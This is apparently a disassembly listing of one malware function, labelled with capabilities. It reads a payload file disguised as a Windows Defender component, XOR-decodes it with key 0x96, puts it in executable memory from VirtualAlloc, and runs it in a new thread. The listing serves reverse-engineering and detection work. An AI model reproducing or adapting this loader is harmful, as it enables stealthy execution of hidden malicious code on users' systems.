Function at 0x40cec0
Capabilities:
Create thread
Encode data using xor
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x11c
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0x42599f
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
lea edi, [eax + eax + 2]
sub esp, 0x18
mov ebp, eax
mov eax, edi
call fcn.00406b80
mov ebx, eax
test eax, eax
je 0x40cf4a
mov dword [esp + 0x14], ebp
xor ebp, ebp
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0x42599f
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
mov word [ebx + edi - 2], bp
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.C:Program_FilesWindows_DefenderrTrackerUI.sys
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
sub esp, 0x18
lea ebp, [eax + eax + 2]
mov dword [esp + 0x2c], eax
mov eax, ebp
call fcn.00406b80
mov edi, eax
test eax, eax
je 0x40cfca
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x30
mov dword [esp + 0x14], edx
mov dword [esp + 8], str.C:Program_FilesWindows_DefenderrTrackerUI.sys
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
xor esi, esi
mov word [edi + ebp - 2], si
sub esp, 0x18
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.msvcrt.dll__wfopen]
mov ebx, eax
test eax, eax
je 0x40d620
mov edi, dword [0x449d50]
mov esi, dword [0x449d54]
mov byte [esp + 0xd0], 0
mov ecx, dword [0x449d58]
mov edx, dword [0x449d5c]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0xd0]
mov dword [esp + 0xd4], edi
mov dword [esp + 0xd8], esi
mov dword [esp + 0xdc], ecx
mov dword [esp + 0xe0], edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], edx
mov dword [esp + 0x88], ebx
test al, al
jne 0x40d747
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_ftell
test edi, edi
mov esi, eax
setne al
test esi, esi
je 0x40d089
test al, al
jne 0x40d850
test esi, esi
jns 0x40d190
test al, al
je 0x40d190
mov eax, 0x10
mov dword [esp + 0x64], str.ftell_failed
mov dword [esp + 0x68], 0xc
mov dword [esp + 0x6c], 1
mov dword [esp + 0x70], 0
call fcn.00404460
mov edx, dword [esp + 0x64]
xor ecx, ecx
mov dword [eax], edx
mov edx, dword [esp + 0x68]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x6c]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x70]
mov dword [eax + 0xc], edx
xor edx, edx
mov dword [esp + edx + 0x8c], ecx
add edx, 4
cmp edx, 0x18
jb 0x40d0e2
mov dword [esp + 0x90], eax
mov dword [esp + 0x98], eax
add eax, 0xc
mov byte [esp + 0x8c], 1
mov dword [esp + 0x94], 3
mov dword [esp + 0x9c], eax
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov edx, dword [esp + 0x90]
mov ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x8c]
mov ebp, dword [esp + 0xf8]
mov dword [esp + 0xd4], edx
mov edx, dword [esp + 0x94]
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0xec]
mov dword [esp + 0xd8], edx
mov edx, dword [esp + 0x98]
mov dword [esp + 0xd0], eax
mov dword [esp + 0xdc], edx
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xe0], edx
jmp 0x40d7a1
mov dword [esp], ebx
call sub.msvcrt.dll_rewind
mov ebp, dword [0x449d50]
mov edi, dword [0x449d54]
mov byte [esp + 0xd0], 0
mov ecx, dword [0x449d58]
mov edx, dword [0x449d5c]
mov dword [esp + 0xe4], esi
mov eax, dword [esp + 0xd0]
mov dword [esp + 0xd4], ebp
mov dword [esp + 0xd8], edi
mov dword [esp + 0xdc], ecx
mov dword [esp + 0xe0], edx
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ebp
mov dword [esp + 0x94], edi
mov dword [esp + 0x98], ecx
mov dword [esp + 0x9c], edx
mov dword [esp + 0xa0], esi
test al, al
jne 0x40d11c
test esi, esi
je 0x40d7c0
mov eax, 0
cmovns eax, esi
call fcn.00407a90
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [esp + 0x30], eax
call sub.msvcrt.dll_fread
test eax, eax
jne 0x40d251
test esi, esi
jg 0x40d9d0
cmp esi, eax
mov dword [esp], ebx
mov ebp, 1
cmovle eax, esi
mov dword [esp + 0x2c], eax
call sub.msvcrt.dll_fclose
mov esi, dword [esp + 0x2c]
xor ebx, ebx
mov eax, esi
test esi, esi
cmovs eax, ebx
mov dword [esp + 0x44], eax
call fcn.00407a90
mov edi, eax
mov dword [esp + 0x3c], eax
test esi, esi
jle 0x40d9c0
sub esi, 1
mov edx, ebx
mov ecx, edi
mov eax, esi
mov dword [esp + 0x48], esi
imul eax, ebp
test ebp, ebp
cmovs edx, eax
add ecx, esi
add edx, dword [esp + 0x30]
cmp edx, ecx
seta dl
test ebp, ebp
cmovs eax, ebx
mov ebx, dword [esp + 0x30]
add eax, ebx
cmp edi, eax
seta al
or dl, al
je 0x40d930
cmp esi, 0xb
jbe 0x40d930
mov edx, edi
mov dword [esp + 0x40], 0
neg edx
and edx, 3
je 0x40d327
movzx eax, byte [ebx]
mov dword [esp + 0x40], 1
mov byte [esp + 0x34], al
xor eax, 0xffffff96
mov byte [edi], al
cmp edx, 1
je 0x40d327
movzx eax, byte [ebx + ebp]
mov dword [esp + 0x40], 2
mov byte [esp + 0x34], al
xor eax, 0xffffff96
mov byte [edi + 1], al
cmp edx, 3
jne 0x40d327
movzx eax, byte [ebx + ebp*2]
mov dword [esp + 0x40], 3
mov byte [esp + 0x34], al
xor eax, 0xffffff96
mov byte [edi + 2], al
mov eax, edx
lea ebx, [ebp*4]
mov edi, dword [esp + 0x2c]
imul eax, ebp
mov dword [esp + 0x34], ebx
mov ebx, dword [esp + 0x30]
sub edi, edx
add edx, dword [esp + 0x3c]
mov dword [esp + 0x4c], edi
lea ecx, [ebx + eax]
mov eax, edi
and eax, 0xfffffffc
lea ebx, [ecx + ebp*2]
add eax, edx
mov dword [esp + 0x38], eax
lea esi, [esi]
movzx edi, byte [ebx]
xor eax, eax
mov al, byte [ecx]
add edx, 4
mov ah, byte [ecx + ebp]
movzx esi, byte [ebx + ebp]
shl edi, 0x10
movzx eax, ax
shl esi, 0x18
or eax, edi
or eax, esi
xor eax, 0x96969696
mov dword [edx - 4], eax
mov eax, dword [esp + 0x34]
add ecx, eax
add ebx, eax
cmp edx, dword [esp + 0x38]
jne 0x40d360
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x40]
mov eax, ecx
and eax, 0xfffffffc
add edx, eax
cmp ecx, eax
je 0x40d3f2
mov eax, edx
mov ebx, dword [esp + 0x30]
mov edi, dword [esp + 0x3c]
imul eax, ebp
mov esi, dword [esp + 0x2c]
movzx ecx, byte [ebx + eax]
mov byte [esp + 0x30], cl
xor ecx, 0xffffff96
mov byte [edi + edx], cl
lea ecx, [edx + 1]
cmp esi, ecx
jle 0x40d3f2
add eax, ebp
movzx ecx, byte [ebx + eax]
mov byte [esp + 0x30], cl
xor ecx, 0xffffff96
mov byte [edi + edx + 1], cl
lea ecx, [edx + 2]
cmp esi, ecx
jle 0x40d3f2
add eax, ebx
movzx eax, byte [eax + ebp]
xor eax, 0xffffff96
mov byte [edi + edx + 2], al
mov eax, dword [esp + 0x44]
call fcn.00407a90
mov ecx, dword [esp + 0x3c]
mov ebx, eax
lea eax, [eax + 4]
cmp ecx, eax
lea edx, [ecx + 4]
setae al
cmp ebx, edx
setae dl
or eax, edx
cmp dword [esp + 0x48], 3
seta dl
test al, dl
je 0x40d960
mov eax, ecx
or eax, ebx
test al, 3
jne 0x40d960
mov esi, dword [esp + 0x2c]
mov edx, ecx
mov eax, ebx
and esi, 0xfffffffc
add esi, ebx
lea esi, [esi]
mov ecx, dword [edx]
add eax, 4
add edx, 4
mov dword [eax - 4], ecx
cmp esi, eax
jne 0x40d440
mov edi, dword [esp + 0x2c]
mov edx, edi
and edx, 0xfffffffc
cmp edi, edx
je 0x40d487
mov ecx, dword [esp + 0x3c]
movzx eax, byte [ecx + edx]
mov byte [ebx + edx], al
lea eax, [edx + 1]
cmp eax, edi
jge 0x40d487
movzx eax, byte [ecx + edx + 1]
mov byte [ebx + edx + 1], al
lea eax, [edx + 2]
cmp edi, eax
jle 0x40d487
movzx eax, byte [ecx + edx + 2]
mov byte [ebx + edx + 2], al
mov dword [esp], 0x425a07
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
test eax, eax
je 0x40d7a9
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
je 0x40d7a9
mov edi, dword [esp + 0x2c]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], edi
mov dword [esp], 0
call eax
mov esi, eax
test eax, eax
je 0x40d7a9
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_memmove
mov ecx, dword [0x42d068]
test ecx, ecx
je 0x40da26
mov edx, dword [0x42d314]
xor eax, eax
test edx, edx
sete al
mov edi, eax
mov eax, dword [0x42d048]
add edi, 7
test eax, eax
jne 0x40da3f
mov eax, dword [0x42d3d0]
test eax, eax
je 0x40d547
mov eax, dword [0x42d064]
test eax, eax
jne 0x40d9e7
mov eax, dword [0x42d3d0]
test eax, eax
je 0x40d560
call fcn.00410e80
mov eax, dword [0x42d064]
test eax, eax
je 0x40d560
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub esp, 4
mov edx, dword [edi*4 + 0x42e108]
mov eax, dword [0x4246e8]
lea eax, [eax + edx*4]
mov ebx, dword [eax]
test ebx, ebx
je 0x40da49
mov ecx, dword [ebx]
shl edx, 3
mov dword [eax], ecx
mov dword [ebx], 0
add dword [0x42d344], edx
add dword [0x42d040], edx
mov ebp, dword [0x42d064]
test ebp, ebp
jne 0x40d983
mov edi, dword [0x42d06c]
mov dword [ebx], esi
mov dword [ebx + 4], 0
test edi, edi
jne 0x40d998
mov dword [0x42d064], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x410470
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
test eax, eax
je 0x40da97
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
jmp 0x40d7a9
lea edi, [esp + 0xec]
mov ecx, 9
lea edx, [esp + 0xd0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x54]
mov dword [esp + 0xd0], str.failed_to_open_file__
mov dword [esp + 0xd4], 0x15
mov dword [esp + 0xd8], 1
mov dword [esp + 0xdc], 0xfe10
mov dword [esp + 0xe0], str.C:Program_FilesWindows_DefenderrTrackerUI.sys
mov dword [esp + 0xe4], 0x30
mov dword [esp + 0xe8], 1
mov dword [esp + 0xf0], 0x4259eb
mov dword [esp + 0xf4], 1
mov dword [esp + 0xf8], 1
call fcn.00406730
mov ebx, dword [esp + 0x58]
mov esi, dword [esp + 0x54]
mov ebp, dword [esp + 0x5c]
call dword [sym.imp.msvcrt.dll__errno]
mov edi, dword [eax]
test ebx, ebx
je 0x40d900
mov eax, 0x10
mov dword [esp + 0x8c], esi
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], ebp
mov dword [esp + 0x98], edi
call fcn.00404460
mov edx, dword [esp + 0x8c]
xor ecx, ecx
mov dword [eax], edx
mov edx, dword [esp + 0x90]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x94]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x98]
mov dword [eax + 0xc], edx
xor edx, edx
mov dword [esp + edx + 0x74], ecx
add edx, 4
cmp edx, 0x18
jb 0x40d719
mov dword [esp + 0x78], eax
mov dword [esp + 0x80], eax
add eax, 0xc
mov byte [esp + 0x74], 1
mov dword [esp + 0x7c], 3
mov dword [esp + 0x84], eax
mov edx, dword [esp + 0x78]
mov eax, dword [esp + 0x74]
mov ebx, dword [esp + 0xb8]
mov ecx, dword [esp + 0xc0]
mov dword [esp + 0xa8], edx
mov edx, dword [esp + 0x7c]
mov dword [esp + 0xa4], eax
mov ebp, dword [esp + 0xcc]
mov dword [esp + 0xac], edx
mov edx, dword [esp + 0x80]
mov dword [esp + 0x30], ebx
mov dword [esp + 0xb0], edx
mov edx, dword [esp + 0x84]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xb4], edx
test al, al
je 0x40d267
add esp, 0x11c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, ebx
lea eax, [esp + 0xa4]
call fcn.00407c40
cmp byte [esp + 0xa4], 0
je 0x40d8d0
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov edx, dword [esp + 0xa8]
mov eax, dword [esp + 0xa4]
mov ebx, dword [esp + 0xe4]
mov ecx, dword [esp + 0xec]
mov dword [esp + 0xd4], edx
mov edx, dword [esp + 0xac]
mov dword [esp + 0xd0], eax
mov ebp, dword [esp + 0xf8]
mov dword [esp + 0xd8], edx
mov edx, dword [esp + 0xb0]
mov dword [esp + 0x30], ebx
mov dword [esp + 0xdc], edx
mov edx, dword [esp + 0xb4]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xe0], edx
jmp 0x40d7a1
mov dword [esp + 0xa4], str.fseek_failed
mov eax, 0x10
mov dword [esp + 0xa8], 0xc
mov dword [esp + 0xac], 1
mov dword [esp + 0xb0], 0
call fcn.00404460
mov edx, dword [esp + 0xa4]
xor ecx, ecx
mov dword [eax], edx
mov edx, dword [esp + 0xa8]
mov dword [eax + 4], edx
mov edx, dword [esp + 0xac]
mov dword [eax + 8], edx
mov edx, dword [esp + 0xb0]
mov dword [eax + 0xc], edx
xor edx, edx
mov dword [esp + edx + 0x8c], ecx
add edx, 4
cmp edx, 0x18
jb 0x40d8b1
jmp 0x40d0f1
mov eax, dword [esp + 0xb8]
mov dword [esp], ebx
mov ebp, dword [esp + 0xcc]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xc0]
mov dword [esp + 0x2c], eax
call sub.msvcrt.dll_fclose
jmp 0x40d267
mov dword [esp], edi
call sub.msvcrt.dll_strerror
mov esi, eax
test eax, eax
je 0x40da30
mov dword [esp], eax
xor ebp, ebp
call sub.msvcrt.dll_strlen
mov ebx, eax
jmp 0x40d6c8
mov ebx, dword [esp + 0x3c]
mov eax, dword [esp + 0x30]
mov edx, ebx
add ebx, dword [esp + 0x2c]
nop
movzx ecx, byte [eax]
add edx, 1
add eax, ebp
xor ecx, 0xffffff96
mov byte [edx - 1], cl
cmp ebx, edx
jne 0x40d940
jmp 0x40d3f2
mov ecx, dword [esp + 0x2c]
mov esi, dword [esp + 0x3c]
xor edx, edx
lea esi, [esi]
movzx eax, byte [esi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp ecx, edx
jne 0x40d970
jmp 0x40d487
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x40d5a0
mov eax, ebx
mov ecx, ebx
mov edx, 1
shr eax, 0x11
shr ecx, 0xc
and eax, 0x1fff
shl edx, cl
add eax, 0x307c
lock or dword [eax*4 + 0x42d320], edx
jmp 0x40d5b7
mov eax, dword [esp + 0x44]
call fcn.00407a90
mov ebx, eax
jmp 0x40d487
mov eax, 0x10
call fcn.00404460
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x40d7a9
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x42d3d0]
sub esp, 4
test eax, eax
jne 0x40d542
mov eax, dword [0x42d064]
test eax, eax
je 0x40d560
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x40d547
call fcn.00419dd0
jmp 0x40d504
mov ebp, 1
mov esi, 0x4250a8
jmp 0x40d6c8
call fcn.00413000
jmp 0x40d523
mov edx, 2
mov eax, edi
call fcn.004187e0
mov ebx, eax
test eax, eax
jne 0x40d592
mov eax, dword [0x42d064]
test eax, eax
jne 0x40dbab
mov dword [esp], 8
call fcn.004104b0
mov ebx, eax
test eax, eax
jne 0x40d5a0
mov dword [esp], 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x40d7a9
mov eax, ebx
mov esi, dword [0x42d064]
shr eax, 0x16
mov edx, dword [eax*4 + 0x448d14]
mov eax, ebx
shr eax, 0xc
and eax, 0x3ff
mov edi, dword [edx + eax*4]
test esi, esi
jne 0x40db4a
mov eax, dword [edi + 0x10]
movzx edx, byte [edi + 0xc]
add dword [0x42d350], eax
mov esi, eax
shr esi, 3
cmp edx, 2
jne 0x40dadb
sub dword [0x42d040], eax
cmp esi, 0x100
ja 0x40db83
lea ecx, [edx + edx*4]
mov ecx, dword [ecx*4 + 0x4246d0]
test ecx, ecx
je 0x40db14
cmp eax, 4
jbe 0x40db14
sub eax, 4
lea ecx, [ebx + 4]
cmp eax, 4
jae 0x40db5f
test eax, eax
je 0x40db14
mov byte [ecx], 0
test al, 2
jne 0x40dbbe
lea eax, [edx + edx*4]
mov eax, dword [eax*4 + 0x4246c0]
lea eax, [eax + esi*4]
mov edx, dword [eax]
mov dword [ebx], edx
mov dword [eax], ebx
mov edx, dword [0x42d064]
test edx, edx
je 0x40d7a9
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x40d7a9
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub esp, 4
jmp 0x40dabe
lea edi, [ebx + 8]
mov dword [ebx + 4], 0
and edi, 0xfffffffc
mov dword [ecx + eax - 4], 0
sub ecx, edi
add eax, ecx
shr eax, 2
mov ecx, eax
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x40db14
cmp eax, 0x1000
jbe 0x40db9a
add eax, 0xfff
and eax, 0xfffff000
sub dword [0x42d334], eax
mov eax, ebx
and eax, 0xfffff000
call fcn.00412720
jmp 0x40db27
mov dword [esp], 0x42d04c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push eax
jmp 0x40da6c
mov word [ecx + eax - 2], 0
jmp 0x40db14